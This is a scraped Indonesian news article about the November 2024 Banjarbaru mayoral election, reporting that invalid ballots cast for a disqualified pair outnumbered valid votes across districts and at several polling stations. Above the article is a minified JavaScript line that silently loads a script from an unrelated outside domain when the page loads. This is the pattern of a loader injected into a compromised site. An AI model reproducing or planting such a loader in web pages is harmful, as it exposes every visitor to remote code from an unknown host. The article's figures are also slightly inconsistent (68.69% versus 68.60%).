(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anomali sikap politik warga ibu kota Kalimantan Selatan (Kalsel) terjadi pada Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru saat pencoblosan Rabu 27 November 2024 kemarin.
Disodorkan surat suara bergambar pasangan calon (Paslon) nomor urut 1 (peserta sah Pilkada Kota Banjarbaru 2024) dan Paslon nomor urut 2 yang dibatalkan, ternyata dominasi pemilih lebih memilih kepada putusan diskualifikasi KPU Banjarbaru.
Hasil coblosan suara pada lima kecamatan se Kota Banjarbaru yang berhasil dihimpun Gerakan Masyarakat Banjarbaru mencatat ‘kemenangan’ surat suara tidak sah 68,69% (78.883 suara tidak sah), sementara suara sah meraih 31,40% (36.117 suara sah). Total jumlah ada 114.998 orang pemilih yang hadir ke 403 Tempat Pemungutan Suara (TPS).
Masih dari catatan Gerakan Masyarakat Banjarbaru, dari 403 TPS yang melaksanakan pencoblosan, sebanyak 386 TPS ‘direbut’ suara tidak sah. Hanya di 17 TPS suara sah menang coblosan.
Baca juga: Yamin-Ananda Klaim Menang Pilwali Banjarmasin
Perilaku tidak normal pemilih ibu kota Kalsel itu terlihat secara jelas di wilayah pusat kota Banjarbaru. Di Kecamatan Banjarbaru Utara ada 18.427 suara tidak sah yang tercatat dan 6.175 suara sah. Pemilih di Kecamatan Banjarbaru Selatan juga mempunyai perilaku tidak normal, suara tidak sah kalahkan suara sah, tercatat 15.878 suara tidak sah vs 6.745 suara sah.
Ketidaknormalan alias penyimpangan (Anomali, red) sikap pemilih warga Banjarbaru itu juga terjadi di Kecamatan Landasan Ulin, dimana ada 20.806 suara tidak sah berbanding 10.805 suara sah. Pun, kondisi nyaris sama juga terjadi di Kecamatan Cempaka, Gerakan Masyarakat Banjarbaru mencatat ada 11.765 suara tidak sah dengan 5.506 suara sah.
Tak hanya empat kecamatan yang pemilihnya berprilaku ‘aneh’, pemilih di Kecamatan Liang Anggang juga terjadi anomali sikap politik Pilwali Banjarbaru. Dimana tercatat 12.007 suara tidak sah dan 6.886 suara sah.
Sehingga jika ditotal suara sah dan suara tidak sah lima kecamatan se Kota Banjarbaru berjumlah 114.998 atau 78.883 suara tidak sah (68,60%) dan 36.117 suara sah (31,40%).
Baca juga: Yamin-Ananda Klaim Menang Pilwali Banjarmasin
Kalah di TPS Sendiri
Kanalkalimantan mendapati sejumlah angka hasil coblosan yang cukup mengejutkan dari form model c hasil penghitungan suara pada empat TPS di Kota Banjarbaru.
Seperti kejadian di TPS 04 Kelurahan Komet, Kecamatan Banjarbaru Utara, hasil hitung akhir berdasar form model c mencatatkan 201 suara tidak sah, unggul dibanding 84 suara sah milik Paslon nomor urut 1 (Lisa Halaby-Wartono).
Bahkan secara mengejutkan perolehan suara Paslon nomor urut 1 di TPS 026 Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan, tempat dimana Erna Lisa Halaby menyalurkan hak pilihnya bersama suami dan anaknya, suara tidak sah ‘menang’ atas suara sah.
Baca juga: Pesan Secarik Kertas Terselip dari Coblosan Pilwali Banjarbaru
Dari foto hasil perhitungan form model c TPS 026 Sungai Besar itu, suara untuk paslon Lisa Halaby-Wartono sebanyak 161 suara sah, sedangkan 237 suara tidak sah yang dicoblos pemilih.
‘Keunggulan’ suara tidak sah ternyata juga terjadi di TPS 010 Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan. Dimana dari 309 pemilih yang datang ke TPS 010 Loktabat Selatan, malah mencoblos kotak bergambar calon yang dibatalkan (Aditya Mufti Ariffin-Said Abdullah). Meski sudah dipastikan oleh KPU Banjarbaru apabila dicoblos dihitung sebagai suara tidak sah.
Form model c di TPS 010 Loktabat Selatan, mencatat 74 suara sah (Paslon nomor urut 1), sedangkan gambar paslon yang dibatalkan mencatat perolehan 235 suara tidak sah.
Surat suara tidak sah juga ‘menang’ di TPS 01 Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan, dimana dari 492 pemilih yang masuk DPT (Daftar Pemilih Tetap). Warga pemilih yang hadir menunaikan hak pilih sebanyak 318 orang. Setelah penghitungan, suara sah Paslon nomor urut 1 Erna Lisa Halaby-Wartono ada 77 lembar suara sah. Sementara didapati 243 lembar suara tidak sah.
Baca juga: Hitung Cepat Tim Pemenangan Muhidin-Hasnur Unggul 83 Persen di Pilgub Kalsel
Tak hanya dari empat TPS itu saja, TPS 015 Kelurahan Mentaos, Kecamatan Banjarbaru Utara juga mengalami kondisi serupa.
Suara tidak sah ungguli suara sah, dimana dari 261 warga yang datang menyalurkan hak pilih, didapati 191 lembar surat suara tidak sah. Pemilih mencoblos gambar paslon nomor urut 2 yang didiskulifikasi KPU Banjarbaru. Hanya 69 suara sah yang menjatuhkan pilihan ke paslon nomor urut 1. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: bie
Oleh: Noorhalis Majid Kemenangan suara tidak sah pada Pilkada Banjarbaru, menggambarkan warga pemilih kota Banjarbaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Tim Pasangan Manis, H Saidi Mansyur dan H Said Idrus Alhabsyie sudah… Read More
KANALKALIMANTAN COM, BANJARMASIN - Meskipun belum ada data resmi dari Komisi Pemilihan Umum (KPU) Banjarmasin,… Read More
77 Suara Sah dan 243 Suara Tidak Sah Hasil TPS 01 Guntung Paikat Read More
KANALKALIMANTAN.COM, MARTAPURA - Perolehan suara sementara dari perhitungan cepat yang dilakukan tim pasangan H Saidi… Read More
Lisa Halaby Dikalahkan Suara Tidak Sah di TPS Sendiri Read More
This website uses cookies.